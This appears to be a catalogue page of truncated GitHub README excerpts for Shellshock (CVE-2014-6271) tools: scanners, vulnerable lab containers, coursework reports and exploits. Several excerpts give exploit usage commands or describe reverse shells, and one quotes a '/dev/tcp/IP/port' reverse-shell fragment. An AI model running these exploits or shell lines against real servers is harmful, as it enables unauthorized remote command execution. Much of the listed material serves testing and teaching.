cve-2014-6271-huan-lu

cve-2014-6271-huan-lu reading course...

shellshock-cgi

shellshock-cgi A python script to enumerate CGI scripts vulnerable to CVE-2014-6271 on one specific server Usage root@kitploit: $ python testing.py --server 172.16.255.130 --listen 172.16.255.1 Example Return: root@kitploit: + Testing if 172.16.255.130 is vulnerable to CVE-2014-6271 via CGI +...

ShellShock-CGI-Scan

ShellShock-CGI-Scan A script, in C, to check if CGI scripts are vulnerable to CVE-2014-6271 The Bash Bug. Options: root@kitploit: -i local ip-address -p port to listen -l site list -t connection timeout Default: 15s Example: $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.txt -t 5 Starting listen in...

ShellShock-CGI-Scan

ShellShock-CGI-Scan A script, in C, to check if CGI scripts are vulnerable to CVE-2014-6271 The Bash Bug. Options: root@kitploit: -i local ip-address -p port to listen -l site list -t connection timeout Default: 15s Example: $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.txt -t 5 Starting listen in...

CGIShell

CGIShell shellshock CVE-2014-6271 CGI Exploit Use like OpenSSH via CGI Page Use python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Screenshot Dependence Windows needed pyreadline It is not needed chardet Future Add TestCase HTTP Login Support http transmission gzip compression chard...

exploit-CVE-2014-6271

Shellshock exploit + vulnerable environment Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain...

shellshocker-python

shellshocker-python This is a Python Application that helps you detect if your machine that run Bash is vulnerable by CVE-2014-6271...

Shellshock_vuln_Exploit

🚨 Shellshock RCE Exploit CVE-2014-6271 This is a Python exploit for the Shellshock vulnerability CVE-2014-6271, which affects GNU Bash. The exploit targets CGI scripts on vulnerable web servers and establishes a reverse shell to the attacker's machine. CVE ID CVE-2014-6271 Disclaimer This tool is...

vaas-cve-2014-6271

漏洞即服务 - CVE 2014-6271 一个运行 Debian Buster Linux 的系统，带有易受攻击版本的 bash 和一个用于展示 CVS-2014-6271（又名 Shellshock）的 Web 应用程序。 概述 该 Docker 容器基于 Debian Buster，并已被修改为使用存在漏洞的 Bash 版本 bash4.2:2b:dfsg-0.1。 可通过 Apache 2 访问一个 Web 应用程序，它提供了一个运行 shell 命令的 CGI 脚本。 使用方法 使用 docker pull hmlio/vaas-cve-2014-6271 安装容器。 使用端口...

XSHOCK

⚡ xShock ShellShock ⚡ Written by TMRSWRR Version 1.0.0 xShock ShellShock CVE-2014-6271 This tool exploits shellshock. Instagram: TMRSWRR 🖼️ Screenshots 🖼️ 📹 How to use 📹 Click on the image... 📒 Read Me 📒 All founded directories will be saved in vulnurl.txt file. The results of the executed commands...

CVE-2014-6271

This repository does not have a README...

shocknaww

shocknaww Simple script to check for CVE-2014-6271 Example Usage root@kitploit: ./shocknaww.py http://foo.bar/cgi-bin/foo Sample vulnerable environment From the parent directory, run the following. root@kitploit: python -m CGIHTTPServer Now use shocknaww against your localhost test server...

shellshock

shellshock Shelly is a lightweight and efficient vulnerability scanner designed to identify and mitigate Shellshock CVE-2014-6271 & CVE-2014-7169 vulnerabilities in Bash environments. Installation: Clone the repository: git clone https://github.com/ajansha/shellshock.git Navigate to the directory...

pentesting-obioba

pentesting-obioba Black box pentesting: Shellshock CVE-2014-6271 + Log4Shell CVE-2021-44228. Root escalation. Executive and technical report Pentesting Obioba — Security Audit Black Box Project of the 360° Cybersecurity Bootcamp by The Bridge Digital Talent Accelerator 2025-2026. 🎯 Objective...

CVE-2019-14287-CVE-2014-6271

This repository does not have a README...

Shellshock-CVE-2014-6271-Exploitation-and-Analysis

🐚 Shellshock CVE-2014-6271 – Exploitation & Analysis 📌 Overview This is the practical assignment for Vulnerability Assessment and Penetration Testing – II , focusing on the exploitation and analysis of the Shellshock vulnerability CVE-2014-6271. Conducted in a controlled lab environment using...

shellshock-shell

shellshock-shell A simple python shell-like exploit for the Shellschok CVE-2014-6271 bug. Use it to exploit known vulnerable URLs. This tool may be used only on your own authorized URLs. The author of this tool takes no responsibility for its usage. File name: shellshock.py Author: Sagi Levy -...

shellshock-poc-cve-2014-7169

CVE-2014-6271 - Shellshock PoC Summary CVSS 10.0. Bash improperly parses trailing commands after a function definition stored in an environment variable, executing them during shell initialization. Root cause Bash environment variables can encode function definitions: x=' :; ' When bash imports...

Shellshock_CVE-2014-6271

Shellshock CVE-2014-6271 Shellshock docker-compose.yml, poc.py 파일을 다운 받아 주세요 반드시 pip install requests 를 통해 requests 라이브러리를 다운받아 주세요!!! uv를 사용하시는 분들은 uv를 통해 requests 라이브러리를 venv 안에 넣어주세요!!! CVE Official Description --- In GNU Bash versions prior to 4.3, there was a problem with handling strings th...

CVE-2014-6271

Hellshocker 0.1.1 Tool to exploit Shellshock vulnerability Tired of using weak shellshock exploits or just "/bin/bash & /dev/tcp/IP/port 0&1" your way into the server? Yes, you need to upload and execute something more complex to the server, and base64 encoding a huge file is impossible for your...